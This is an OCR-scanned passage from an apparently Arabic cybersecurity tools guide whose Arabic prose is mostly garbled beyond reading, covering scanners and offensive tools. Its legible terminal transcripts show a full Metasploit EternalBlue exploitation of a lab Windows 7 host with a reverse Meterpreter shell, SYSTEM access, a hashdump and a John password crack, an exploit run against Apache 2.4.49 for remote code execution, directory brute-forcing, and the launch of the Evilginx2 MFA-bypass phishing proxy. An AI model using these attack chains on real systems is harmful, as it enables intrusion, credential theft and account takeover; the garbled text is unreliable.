)& g5 (HIPAA 5 PCI-DSS Jie dallall julaall e 4381 gial) (anill s ae 5 g8 ¢ jinall 311 LY

oSl (5 sima e AuiaY) il 5 IaY Jalis (35 se alai L #liady Jlal) Gilalls Ji Y
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Asaldl)

L sia | lhaall 3 leall (5 sl

Windows/Linux/macOS e ~a/dSs + cusdgals el dada]
(Essentials/Professional) ¢ sdx dal<sl)

IS o=d Al g g

Nessus slal &l s

https://www.tenable.com/products/nessus :Jsaal

Acunetix V.Y

& aadia sl oda cysl) il Gl pand alle 8 Tas 3 jinall 5 3000 4 sl Jslall aaf 58 Acunetix
pd lo FEN L3508 o by e s i il A L8 (S) ((DAST) gl Saaligall (il 4
s Angular Jie g Al (SPAS) saa 6l Asdiall cilinhd o Ua &S5 338aal) g Aaal) Cldpdaill jasd g
Lpand e L) il oY1 e I s 3 «GraphQL s REST die (APIS) duss il cilgal 5l 5 (React
(Crawling) «as 3l ki 53l cDeepScan e paidll ) shiall Gasdll & jae ga lld 4 jull musaa JS0
Gem Lelilai g 338aall JavaScript liwdai Jala
AcuSensor 4 a e 5 jball 3 uall (<15 yra g3 a3 7000 (o ST RIS g8 cAial) Lalil (ga g
Oo oaS S Ji 5 ol a3l L) 8 Tas ddle 48 Lopdany Lee e (e gl 360 JAI (o puilaS Joa
Gl a5 (a5 5 JShs (b yinall Tan daga s 45 8 52 4L 28 5 <(False Positives) ablall dylagy) gl
ki) il e Al JalS b el all 3131 LY 5 Wasa s B (Proof of Concept) Staie Sl
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A (5 ¢l DevSecOps
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Acunetix 312l <l jran

https://www.acunetix.com :Jseal

Invicti (formerly Netsparker) A.Y

faaia i Jall g a5 (Netsparker sl as¥U Gils o a5 cailS i) [Invicti faaie g i
Clagie madi Jy ccmn 5 (DAST) Saabinall (anil) apsily G155 Y Ll 58 Leaiall s2a Lo 5 SH b 5all
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Dirb 4.¥

sl ) B eda A0SV e Y Als e 8 e 2 Y A Al il oY) gas) Dirb sl e
Gle dlaie ) Aails AlSie Jal Tan Alled g Aoy dauld o dyise (Jlaall 130 <l sol el 5 il e yiad 5 Ll

Alaal Sl Lol ) a5y Y Wl il 0y shall (ars (= 58 (Security through Obscurity) slaYl oY)
(o e Al dpa ji aalally 4 5) 48LES) 4 Gl chackup.zip ebliaY) fudl cale 5l admin 3,05Y)
Al ¢ lpand) 5 8ll a gaa Aol JS (Gukai Jy baina <l yad D) e adiad Y 52Y1 o368 Dirb o b s

sa2s (Wordlist) lalS Aaild (e VLY YT 4 a5 31201 2 & (dictionary-based attack) os sl e
Agid) Glalaall g calall o3 e siall (3o Gusel 8 pe 312Y1 30) Taaie

<) 5 «(HTTP Basic/Digest) dbadl aca Jia daga ailad elliay 4if ¥) ciblin (e a2 )l o
st )l e g aaall User-Agent Jwad s «J s Joad llats Al dladiall ) glail Liaiada Cookies plaiu
caladiuY ) g 5 ¢ 63 5all 3131 & Dirb ol ¥) ¢(Go 4xl o 5S4l Gobuster Jis) g sl s ol Jilay 3 sa 5 04
.(Content Discovery) ¢ sisall GLES) a saa 4401 agdl Ly of fsaine IS e Gany Al 4l

daal dualdl)
(i | lhaall 3 )leall (5 slne
Linux sl daas
PAEW aalsl)
GPL-0.2 o il g g

Dirb 313 &l jaes

badaa Glalaiel Gld Alile e daall g daddall Glalaall GLESY Apache cus a3l (asid u.h; Jiia

igieaiall o e iy ddlaall e

dirb http://10.49.185.56
dirb http://10.49.185.56 -X .php, .txt

dirb http://10.49.185.56 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
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Wl 3 5 «(common.txt) (sl 581 (s salil) alasinly ) pandll Jiay J5Y) Y1 1Jll £ i
4y sina 2y zrany 53 /Uploads/ s ) A8l ¢(duida aSatida 5l) a1 GLESY) s 5 /panel/ 2l o
Gl e axdiey e ¢ txt 5 .php Glile e b ) diall ) yacady SG 1Y) (Directory Listing)
laall gloas kel sl Windows géaie (e siba 4l Gl sl User-Agent sl (-a) ks
Al

sl Al

(yaser CyberBookio)-[~]
$ dirb http://10.49.185.56

DIRB v2.22
By The Dark Raver

START _TIME: Fri Jan 1 05:22:00 2026
URL_BASE: http://10.49.185.56/
WORDLIST FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

--—- Scanning URL: http://10.49.185.56/ -—-—-

==> DIRECTORY: http://10.49.185.56/css/

+ http://10.49.185.56/index.php (CODE:200|SIZE:616)

==> DIRECTORY: http://10.49.185.56/js/

==> DIRECTORY: http://10.49.185.56/panel/

+ http://10.49.185.56/server-status (CODE:403|SIZE:277)
==> DIRECTORY: http://10.49.185.56/uploads/

--—- Entering directory: http://10.49.185.56/css/ -—--
(!) WARNING: Directory IS LISTABLE. No need to scan it.
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(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.49.185.56/js/ —--—-
(!) WARNING: Directory IS LISTABLE. No need to scan it.

(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.49.185.56/panel/ ----
+ http://10.49.185.56/panel/index.php (CODE:200|SIZE:732)

---- Entering directory: http://10.49.185.56/uploads/ —----
(1) WARNING: Directory IS LISTABLE. No need to scan it.

(Use mode '-w' if you want to scan it anyway)

END_TIME: Fri Jan 1 05:27:26 2026
DOWNLOADED: 9224 - FOUND: 3

(yaser CyberBookio)-[~]
$ dirb http://10.49.185.56 -X .php, .txt

DIRB v2.22

By The Dark Raver

START TIME: Fri Jan 1 05:27:36 2026

URL_BASE: http://10.49.185.56/

WORDLIST FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php,.txt) | (.php)(.txt) [NUM = 2]
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GENERATED WORDS: 4612

--—- Scanning URL: http://10.49.185.56/ --—-
+ http://10.49.185.56/index.php (CODE:200|SIZE:616)

END TIME: Fri Jan 1 05:32:56 2026
DOWNLOADED: 9224 - FOUND: 1

(yaser CyberBookio)-[~]
$ dirb http://10.49.185.56 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"

DIRB v2.22
By The Dark Raver

START TIME: Fri Jan 1 05:34:40 2026
URL_BASE: http://10.49.185.56/
WORDLIST FILES: /usr/share/dirb/wordlists/common.txt

USER_AGENT: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

GENERATED WORDS: 4612

---- Scanning URL: http://10.49.185.56/ ----

==> DIRECTORY: http://10.49.185.56/css/

+ http://10.49.185.56/index.php (CODE:200|SIZE:616)

==> DIRECTORY: http://10.49.185.56/js/

==> DIRECTORY: http://10.49.185.56/panel/

+ http://10.49.185.56/server-status (CODE:403|SIZE:277)
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==> DIRECTORY: http://10.49.185.56/uploads/

END_TIME: Fri Jan 1 05:39:57 2026
DOWNLOADED: 9224 - FOUND: 3

https://sourceforge.net/projects/dirb/ :Jsaad

Gobuster :..Y

31aY) o3gd ¢o1aY1 s La (58 sall 3 W Dirb slal aay Jlaall 138 8 Caaalls sl 53kl s Gobuster
Aallaall Jainl o L a8 5 dallall Lo juw (A (o) Quan b e (A8 LA 3 jae ad 138 5 «GO A2l 4 538
doalal s el S e slaie V) e Yoy 3.1 Goroutines = (concurrent processing) il siall
Oanill ey yeaidy Lae iy ) siall i) (40 1 uS Taxe Gobuster sl «(single-threaded scripts) Ll
Aalendl il gy jlall (e el 3 38 ) (Al ) 50V (amy pa) el e

Js «Dirb & LS (dir mode) il 5 <l sl CLEKY 3131 3 jyae a3l Layl Gobuster b
s ed gl Y] Badeie daie

(wordlists) Sl a1l 8 alasiuly cusll asl s e il lalll 5 Glalaall LISSY :dir mode e

.(brute force) slwall 3 8l o lul alasiuls (subdomains) due il il ad :dns mode

IP o)) sie i A& yids 8 Al Adaa) (Virtual Hosts) deaal Y1 Sliuadl GLEKY :vhost mode »

e Qs o panidl) Ganadd 8 4le g e 3laY) 238 LS
Laid 200 Alay (€Y e Yoy iy (status codes) sl sl 4y se pall Lain¥) o) K1 st Koy o

Ay 5 ) Qi (--exclude-length sl Jie) Aiee alaal cld cllaiu¥) ol (Say o
(Not Found) 2sa se ¢ Cladia ga i cliphi ae Jalaill 2ie Lali (False Positives) dblal)
200 laiu) 2 S

Q\Jéiﬂ\ (ya Baal g Gobuster Q\;.\mi 3_)3&53\ 2.3_9‘).4‘5 Ll Q=] g 63.9)»:3\ (e dadiaa d‘q\)d\ XYY M
Cleals e rida s L JS GLESY anll 3)_aY) &l JLial 5 (Bug Bounty) <l sl il zal s 3 Gl
il ) Y1 lismall e Jall il U A8 5 e APlS
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L.m}ln QM‘EJL@A“_;}LM

Linux, Windows, macOS Jial) dalasl
e 4l
Apache-0.2 s il g g

Gobuster 312l &l jyes

A0 ) sial) Aalladl) aladinly

gobuster dir -u http://10.49.185.56 -w

/usr/share/wordlists/dirb/common.txt -x php,txt -t 50
Al ol Sl alasinly (dir) Slalaal) (asil Gobuster 4 sis Lad ¢ Y1) 138 & 1 JGal 7 4

_htaccess Jie dulua clala Cal&is) < Lae Lo Laa eclalaia¥) odgs Aty ‘;"J\ Glalal) e Easnll :php,txt-x *

..htpasswd
Adle 4oy pasdll JaiY (Threads) Aalia s 50 aladiul 50 -t e

L&l 1) 403 Forbidden 4l (.htaccess) p3all (i oS5 lile & selal 358 ¢Dirb (e Spaii JiS1 Lin ibid
Lk Laa 5 ¢/uploads alxas (301 Ulay) /panel dlae LES) Gy e a1 g ¢(Leie) 8 (Say ¥ (K15 33 9 50
GRS lildiad) Jsaal)

sy il

(yaser CyberBookio)-[~]
$ gobuster dir -u http://10.49.185.56 -w /usr/share/wordlists/dirb/common.txt -x php

Gobuster v3.8

by 0J Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.49.185.56

[+] Method: GET
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[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirb/common.txt

[+] Negative Status codes: 404

[+] User Agent: gobuster/3.8
[+] Extensions: php,txt
[+] Timeout: 10s

Starting gobuster in directory enumeration mode

/ .htaccess (Status: 403) [Size: 277]

/.hta (Status: 403) [Size: 277]

/.hta.php (Status: 403) [Size: 277]

/.htaccess.php (Status: 403) [Size: 277]

/.htaccess.txt (Status: 403) [Size: 277]

/.hta.txt (Status: 403) [Size: 277]

/ .htpasswd (Status: 403) [Size: 277]

/ .htpasswd.php (Status: 403) [Size: 277]

/.htpasswd.txt (Status: 403) [Size: 277]

/css (Status: 301) [Size: 310] [--> http://10.49.185.56/css/]
/index.php (Status: 200) [Size: 616]

/index.php (Status: 200) [Size: 616]

/js (Status: 301) [Size: 309] [--> http://10.49.185.56/js/]
/panel (Status: 301) [Size: 312] [--> http://10.49.185.56/panel/]
/server-status (Status: 403) [Size: 277]

/uploads (Status: 301) [Size: 314] [--> http://10.49.185.56/uploads/]

Progress: 13839 / 13839 (100.00%)

Finished

https://github.com/OJ/gobuster :Jsal
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Jaladl JDlai) 5 eclanall s Aakas¥) JMrisl (e SIS Juadll 138 iy ccaanadl 13g] Sl gall 320 Zaabiadll i clly
L)

Jie 5 adl Taiee Y3 Jsay Metasploit Jald ccilangll s3gd 25l @l oY) & Jacadll 138 3 ) 5aY)
Jie @l 52l s SYSTEM @i ki Meterpreter s e Jswasll ddapy el 5l 2 2w ) EternalBlue
Jia @l gl 8 (1Y) e Ll ciladall 48 ) desiiall Caaiiall (8 Ja ) Cilass 38y xaus Evilginx?2
ped sn ALalSid) Dl il oda Gl alaie ) clily JS& UK ¢ ) 5Y LSASS.exe i Geaii ) Mimikatz
Aaall dae sagd) Clileall 8 5o

Metasploit Framework .Y

O Wl iy yzhe (3 Y1 LAY ALdSie Jae Ay Js caa) 5 zali 53 3350 osd Metasploit Framework
Go Y oaeie JS psaedl Cila s Al s Jaaniis ol ke Auaie Y1 paidall Jigi5 «(Rapid7 4S,d
3 ilie il S e slaic )

A e Aiy Jalo A gaall 5 IO G peadal g Qb 2 gl) i 8 4 68 5 Adags Apulu) Metasploit 5 Sé
DLEAY) (o Gy dalie A gen (515 (380 g0 JDMaiud (sl o aeall li€ay Cusy ((Modular Architecture)
fsh LS ddagiual) Al

&;;5} Adliag il ¢ Al P Baae i Caagiud 3 ala Glas g (Exploits) Slriuy) Caag o
Ad g pmall )il ol Jadal et (<40
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reverse < s sl Meterpreter Jie «J3ainy) #las aay Jasy 3l 0 &Il (Payloads) <Y seall o
adake Yl g sl sale) (Sars cshell

&2 ¢(scanning) gl die ¢ bl S Gl z s 8 L JS):(Auxiliary) s buall Claagl) o

(DOS) 4eaall Cana lana £ Ganys ¢ 5 el il LA 5 el slaall

by aend Jf Jsas Gle dsaanll 3y 22305 :(Post-Exploitation) JEiu) s Le Claag »
Al Jals (Lateral Movement) ilad) & jadll g ccibaSiall ad ) 5 calaie V!

«lalae ) s cchlaa gl 30k ransd Adeldl duai deal 5 a5 emsfconsole 4 Ay pSaill dgal
3 Y Nessus s Nmap Jie isal @ sl s JalSill 401800 an ¢ lae JS ciladal) dalia 5 langl) Jncls
LB LAY JalSie gyl oy g il

eﬁ:\a t,i)M\BJL@.AS‘&)M

Linux, Windows, macOS Sl Aokl
(e s Ay jlad < jpead s Sl laa) ae) ilae Lai<al
BSD 3-Clause o il g g

Metasploit Framework sla il jas

(John & Metasploit) L)l <S48, 5 EternalBlue s s Jaiul 1 les Jla

use auxiliary/scanner/smb/smb_ms17_010

set RHOSTS 10.48.141.39

run

use exploit/windows/smb/ms17 010 eternalblue
set RHOSTS 10.48.141.39

set LHOST tunO

exploit

sty XS any MS17-010 5ak aibial (0 38Ul 39.141.48.10 Caagll (andy syl oy 1Jlal) 7 5
(SYSTEM @liadia e J seanll s Pin¥) #lad 2 tun0 4eal s e (onSadl Juai¥) aga 555 JDaiul) dlac)
Al A LSl 5 i) st John slal alasiul a0 5 «(hashdump) Lsell S clila ) i) &5
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EGERN]

(yaser CyberBookio)-[~]

$ sudo msfconsole

Metasploit tip: View all productivity tips with the tips command

.toooyysyyssyyssyddh++os—

+++++++++++++++++++++++sydhyoyso/: . T .. ... -///: :+ohhyosyyosyy/+om++:000///0

++++///////~~~~///////++++++++++++++++00yysoyysossot++t++tt+tt++++++++///00ssosy
-7 R A o e A R NN R e Y
: : YV

. hmMMMMMMMMMMNddds\ . . . //M\\.. . . /hddddmMMMMMMNo
: Nm-/NMMMMMMMMMMMMM $ $NMMMMmé& &MMMMMMMMMMMMMM y
.sm/ ~ -~yMMMMMMMMMMMM $ $MMMMMN & &MMMMMMMMMMMMM
-Nd~  :MMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMMh *
-Nh~ . yMMMMMMMMMM$$MMMMMN &&MMMMMMMMMMMm /
) .sNd  :MMMMMMMMMM$ $MMMMMN&&MMMMMMMMMMm /

oo/ -hd:
.yNmMMh//+syysso-"""""" -mh” :MMMMMMMMMM$$MMMMMN&&MMMMMMMMMMd
. sShMMMMN/ / dmNMMMMMMMMMMMMs ST T T =0++++0000+:/00000+: +0+++0000++/
*///omh//dMMMMMMMMMMMMMMMN/ : : : : : /+0ooso--/ydh//+s+/ossssso:--syN///os:
/MMMMMMMMMMMMMMMMMMA . “/++-.-yy/...osydh/-+00:-"0//...oyodh+
-hMMmssddd+ : dAMMmNMMh . To—=mmk.//7T\NL T T i+ "0/ /77NN
.sMMmo . -dMd--:mN/" | [--X--11 | [--X--11
.......... /yddy/:...+hmo-...hdd:............\\=v=//............\\=v=//... ... ..
+
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Press ENTER to size up the situation

Voo o oo oo To oo ToToToToTo oo oo 1o 1o fo o o o o o o o o o Jo T ToToTo T oo oo oo oo o o o o o o o T o To T To oo oo oo oo o o o o o o o o To o T To o
ol T T Toto oo e T T T To To o o o T T To oo o o o o fote. Date s April 25, 1848 Yolotolhthlolotototsisoaotototodso oo otototodso e
Tl Tl Tototo o e o ToToToto o o e T ToToto o o e. Weather: It's always cool in the 1ab %hhhilellhloleletslslslste
Tl T T T o oo T T T To o o ol fo T To To oo oo %o Health: Ovexrwedght hlhthlelelolshslhletololodststh o tototodss oo toto oo oe
Tl T T Toto oo el T T To oo o e fe T Tototo ooty Caffeine: 12975 mg Yolhthlttolotosoatotolototsisoatatototosio oo ototo oo o ae
Tl T T Tt oo e T T T To oo ol o T ToTo oo o oo /o Hacked: A1 the things Khllhlhlhlelelelslshhllotololsdstststalodototsdssste
Tolo o oo o o oo ToToToTo oo o o o 1o o o o o o o o o oo ToToToToToTo oo oo o fo o o o o o o o o o o ToTo o ToTo oo oo oo oo o o o o o o o o To To T o

Press SPACE BAR to continue

=[ metasploit v6.4.98-dev ]
+ -—— —-—=[ 2,571 exploits - 1,316 auxiliary - 1,680 payloads ]
+ —— —-=[ 432 post - 49 encoders - 13 nops - 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

The Metasploit Framework is a Rapid7 Open Source Project

msf > use auxiliary/scanner/smb/smb_ms17_010

msf auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 10.48.141.39

RHOSTS => 10.48.141.39

msf auxiliary(scanner/smb/smb_ms17_010) > run

[+] 10.48.141.39:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Profes
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.23/1ib/recog/
[*] 10.48.141.39:445 - Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblu
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[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp

msf exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.48.141.39

RHOSTS => 10.48.141.39

msf exploit(windows/smb/ms17_010_eternalblue) > set LHOST tunO

LHOST => tunO

msf exploit(windows/smb/ms17 010 _eternalblue) > exploit

[*] Started reverse TCP handler on 192.168.154.215:4444

[x] 10.48.141.39:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check

[+] 10.48.141.39:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Profes
[x] 10.48.141.39:445 - Scanned 1 of 1 hosts (100% complete)

[+] 10.48.141.39:445 - The target is vulnerable.

[*] 10.48.141.39:445 - Connecting to target for exploitation.

[+] 10.48.141.39:445 - Connection established for exploitation.

[+] 10.48.141.39:445 - Target 0S selected valid for 0S indicated by SMB reply

[x] 10.48.141.39:445 - CORE raw buffer dump (42 bytes)

[x] 10.48.141.39:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 W
[x] 10.48.141.39:445 - 0x00000010 73 69 6f 6e 61 6¢c 20 37 36 30 31 20 63 65 72 76 s
[x] 10.48.141.39:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 i
[+] 10.48.141.39:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.48.141.39:445 - Trying exploit with 12 Groom Allocatiomns.

[x] 10.48.141.39:445 - Sending all but last fragment of exploit packet

[x] 10.48.141.39:445 - Starting non-paged pool grooming

[+] 10.48.141.39:445 - Sending SMBv2 buffers

[+] 10.48.141.39:445 - Closing SMBv1l connection creating free hole adjacent to SMBv2

[x] 10.48.141.39:445 - Sending final SMBv2 buffers.

[*] 10.48.141.39:445 - Sending last fragment of exploit packet!

[*] 10.48.141.39:445 - Receiving response from exploit packet

[+] 10.48.141.39:445 - ETERNALBLUE overwrite completed successfully (0xCO00000D) !

[x] 10.48.141.39:445 - Sending egg to corrupted connection.

[*] 10.48.141.39:445 - Triggering free of corrupted buffer.

[*] Sending stage (230982 bytes) to 10.48.141.39

[*] Meterpreter session 1 opened (192.168.154.215:4444 -> 10.48.141.39:49169) at 2025
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meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089cO: :
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089cO0: : :
Jon:1000:aad3b435b51404eecaad3b435b51404ee: ££b43f0de35be4d9917ac0cc8adb7£8d: : :
meterpreter > exit

[*] Shutting down session: 1

[x] 10.48.141.39 - Meterpreter session 1 closed. Reason: User exit

msf exploit(windows/smb/ms17_010_eternalblue) > exit

(yaser CyberBookio)-[~]
$ echo "ffb43f0de35bed4d9917acOcc8ad57£8d" > jon.hash

(yaser CyberBookio)-[~]
$ john jon.hash --format=NT --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 128/128 ASIMD 4x2])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
algfna22 (?)
1g 0:00:00:00 DONE (2025-12-03 15:44) 2.702g/s 27587Kp/s 27587Kc/s 27587KC/s alshanee

Use the "--show --format=NT" options to display all of the cracked passwords reliably

Session completed.

(yaser CyberBookio)-[~]
$
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https://www.metasploit.com :Jsad

Cobalt Strike Y.¥

5,03 deditll Laid) sa Cobalt Strike - Lt sads SYSALY) £l ,esY1 JLY) s Metasploit oS 1)
J<i (Red Team Operations) e 3 &l <l 5 (Post-Exploitation) dosiay) s L cililee
Cand gl i g e sangd) a1y (31 (58 B (e a5 UK Tjlad anaind 3101 JalSia g 31 jia)
el Joa (APTS) sl p3iial) 213gil) Cile sane (o S g Aliail) llaiall ST (10 i

o= 3_ke Beacon JI .Beacon slewd) 4l (Payload) 4seall s Cobalt Strike 358 s>
Lliall e dashall sad) e il Sleally oSaill aadind s o(In-Memory) 5813 & Lle Jaay adite Jaee
A I (e (IDS/IPS) CiSaill 481 ye dakil s (AV/EDR) danliil) dleal) dadail (e (A3 e oY) %8
(Token Stealing) s« i 48 ju s SIA G ¢ el 5¥) st Jia i) 2as L alew lef 2 (Ko Beacon
Y S gig g pladinly A3 Jaby (Lateral Movement) ilall @ aill s (UAC Jstad ccibadball seaail
(&_x2 s SMB Named Pipes Jis) 4ilide il

Uanadl i dualil ol Malleable C2 Profiles msb < e Lo & < sl uii 8 51l 5 s Y15 5l
k) el s s Beacon ) e 4 s das (Sa Gumy «JalSlL (C2) aSaill g salidll J € 55 sl 5 JS
sanaddl s Ly sl 58 )5 3048 jal Al gl ol daxnh DNS @ledleiul 5l cChrome ziaid dle
e sas Augma JSI e all Juai¥ls Eudll Juai¥) n w8 48 el dedail dage Jray J S0
Baizall 5 3 Sl Sl e il i Cobalt Strike 558 4w )l claY)

Gl a3y and Lo ODIA (30 cJaall (3 il 4 glat ducaia ¢y S Cobalt Strike paensi i csleal) alill (e
Clalall 38 HLia g ccalaa¥) ol o) (b o CB gl a8 Jeally (pealide Bax) masy 3 5 «(Team Server)
(Operator) Jsiall (s sise o ddlida i dalail ac s duaiall Bas sobaa) s dgal 5 (e Clangdl akasi g il 5
Linuxs Windows ikl Calagiul 4lSa) ae Linux o Joil L We 5 ((C2) 4iadll 3l (s sine e

.macOS
dagdl) daldl)
(enl G [ asnn Gal) Dua G sthall 3 lgall (5 sise

Linux, Windows, macOS | alaaiudl i seaall Juriiill dalaif

(SIS pars 5) £ siae Aalsil)

TR wad il g 5

Cobalt Strike 31l <l juas
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https://www.cobaltstrike.com :Jsaal

SearchSploit r.¥

(command- &k dgal s Jlaials a5 b Sall 8 Tas 2y gl 5 (JSEN 8 Aagd) &) 5380 (e SearchSploit
Kali s 3 4l (uis) Offensive Security sk Sl Exploit-DB 3_seddl <l jadll Sl 322l fine)
.(OSCP 335 Linux

055 ae JS Shellcode) s YWY (e iz saclE ) J s sl aaaio olif 2l 31531 3 S8
Gl cillee 5l AR LAY il sl A Tas Dlee Lebany Le 1385 ¢(Offline) < iyl Juai) Y 4alal)
el sl el (5 < i g AN Al penna e ol Al jre ASud Jala Sl Slea (05S Ladie ¢ jeal

a2 o G (ProFTPD 3a.3.1 Jie dime &eaal il 0o dass 8 Gl 5 miaiall =8 00 Yo
38 siall &Y saall 5 (public exploits) debell Y MxiuY! JS 5 il Ul jedal SearchSploit & Cadl
Llae Ll il o L 4551S4) ae EXpIOit-DB 32218 & i jeiall

A s dpaliall LSl aladinly Caadly ol a5 o gl (i 8 Jlad g gy Cany A aeS Jand L 310Y)
£ 5 i 5l (PHP ik i Linux sl Windows Jie Caxgivsal alaill ¢ 5 5 ((CVE) 2a sall 5 )
ahazinly el Jeall alae V5 e JDainy) Cile g Jie dlee <yl jisi LS LF| 5l RCE Jic asagl
Jae A5k aedl daga 35had a5 ot Ji (-p) ok e Jaiudl (g nadl 2SI al jaiul ) (-m) ksl
gl e ol Loy aliaad s JOlain)

dagdl) Asaldl)

Lo gia QM\B)L@J\L;}LM

Linux, Windows, macOS Jasl) Akl
Sl aalsy
GPL-0.3 oasi il ¢ i

SearchSploit 51 il jaes

:Apache & & Traversal/RCE) (Path a5 Jiul 5 lis) 1 dee Jla

1. nmap -sV -p 80 10.48.171.90

2. searchsploit apache 2.4.49
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3. searchsploit -m 50383
4. ./50383.sh targets.txt /bin/sh id

Al e slaad) ) i) (g gl (3) AY) diagia i s JUAl 12 1B 7
49.4.2 Apache Jlaab Jexy 2331 of Nmap o=sé i€ (Enumeration): CiLasioy) )

(CVE- 333 Yaiul Lins g5 el sl iy 3206 & 2l searchsploit Leadin) (Search): sy Y

S iy bl slaty et S (41773-2021

targets.txt <ale Laxely cbalae ) (50383 -m) Joainl) 35S uiy L (Preparation): usaaill ¥
gl ) sie Lo s s
Sl aadiial Gl 20 Gladul cd Yl e o Sl Judi e (Exploitation): Slaiud) ¢

(RCE) 2 oo 31 5SY) 3 #las X3 Laa ((uid=1(daemon))
AEGEN

(yaser CyberBookio)-[~]

$ nmap -sV -p 80 10.48.171.90
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-03 16:28 +04
Nmap scan report for 10.48.171.90

Host is up (0.091s latency).

PORT  STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.49 ((Unix))

Service detection performed. Please report any incorrect results at https://nmap.org/

Nmap done: 1 IP address (1 host up) scanned in 7.05 seconds

(yaser CyberBookio)-[~]

$ searchsploit apache 2.4.49

Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution
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Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner

Apache CXF < 2.5.10/2.6.7/2.7.4 - Denial of Service

Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)

Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow

Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1)

Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)

Apache OpenMeetings 1.9.x < 3.1.0 - '.ZIP' File Directory Traversal

Apache Tomcat
Apache Tomcat
Apache Tomcat
Apache Tomcat

Apache Tomcat

Apache Xerces-

<
<
<
<
<

C

5.5.
6.0.
6.0.
9.0.
9.0.
XML

Webfroot Shoutbox <

17 - Remote Directory Listing

18 - 'utf8' Directory Traversal

18 - 'utf8' Directory Traversal (PoC)

1 (Beta) / < 8.5.23 / <8.0.47 / < 7.0.8 - JSP Upload Bypass / Re
1 (Beta) / < 8.5.23 / <8.0.47 / < 7.0.8 - JSP Upload Bypass / Re
Parser < 3.1.2 - Denial of Service (PoC)

2.32 (Apache) - Local File Inclusion / Remote Code Execution

Shellcodes: No Results

(yaser CyberBookio)-[~]

$ searchsploit -m 50383

Exploit: Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)

URL: https://www.exploit-db.com/exploits/50383

Path: /usr/share/exploitdb/exploits/multiple/webapps/50383.sh

Codes: CVE-2021-41773

Verified: True

File Type: ASCII text

Copied to: /home/yaser/50383.sh

(yaser CyberBookio)-[~]

$ nano targets.txt

(yaser CyberBookio)-[~]

$ ./50383.sh targets.txt /bin/sh id
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10.48.171.90

uid=1(daemon) gid=1(daemon) groups=1(daemon)

(yaser CyberBookio)-[~]
$

https://www.exploit-db.com/searchsploit :Jsaad

Evilginx2 ¢.¥

5 asl Cpaaleall aal 5 Al SV A Jal daaas b 5 o i) aaill Clesa 8 4e Al slaY) 2 Jid
(HTML cloning) sl dada luivl (o aaiad ) Ladidl spail) gl (MFA) Jol sl 83305 d8sladl
(OTP) Lukiall a0l ) Aalag anleall 150 Y s pall A€ 8 3 i ) Jind SMFA oLl L

Jasi i ¢ sall geasiio ¥ 31aY) Aaalll ac) & yinid (Kuba Gretzky o5k ) Evilginx2 s b La
& sall aa Jelii Jy Al 44 je dadia pe Jelili ¥ daual)l | JalSie (Reverse Proxy) wSe dSy ol Ja S
lile aladiuly saiaall dalaall 038 alati o%y  aaleall s e (S15 ((Google sl Microsoft 365 Jis) el
gl o) i ) < laall g lelatil cany 3 il Phishlet JS 2aas Phishlets e 3 5als cilalac)
Al Ll Jis ) (Cookies) Ll Y1y 3 il (oo Le odlld (e a1 5

fay 4é ((Let's Encrypt e 4e i SSL/TLS salgis asall) Caupall L) i e dpanall iy Ladie
A dgiidal) J Al Jiaud dsdia (i ymy Jasa ) aAll & Evilginx2 JYA (e Saal) 20 ae Jelal 8
Ll (e MFA ) Al (ia iy o dgauall 4 oy s MFA Jl il (i a5 el ) ey g alaie W1 il (i fing
s (Session Cookie) dulally alall bls ;¥ oy =i cale EVilginx2 o i cdsbaall ~las aay W jan g
palgall sy Bdall aalad) abu

G D a4y JalSIL A8 gall Audal e Joany i et gl AalS e Jeasny Y aaleall of o Al
Al MFA el 15 slaie dmaall il () 580al J s sl 5 ) aniuaila 4 Cookie I 120

4Aaidl) Aualdl)

(’ﬁ"‘ u)M\oJLQ.A“&jMA

Linux ol Aokl
‘;I\A.A Al
BSD 3-Clause o il g
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Evilginx2 sl <l jaae

Evilginx2 alaiiul cludall (gl ie) 5 (MitM) deiie auad dlea dlae) 1 tee JUa
sudo ./evilginx2 -developer

Lo o Lae ¢ iiall a8 sall 5 dnall o (Reverse Proxy) fawsS Jass Evilginx2 slal 1 Jball ¢
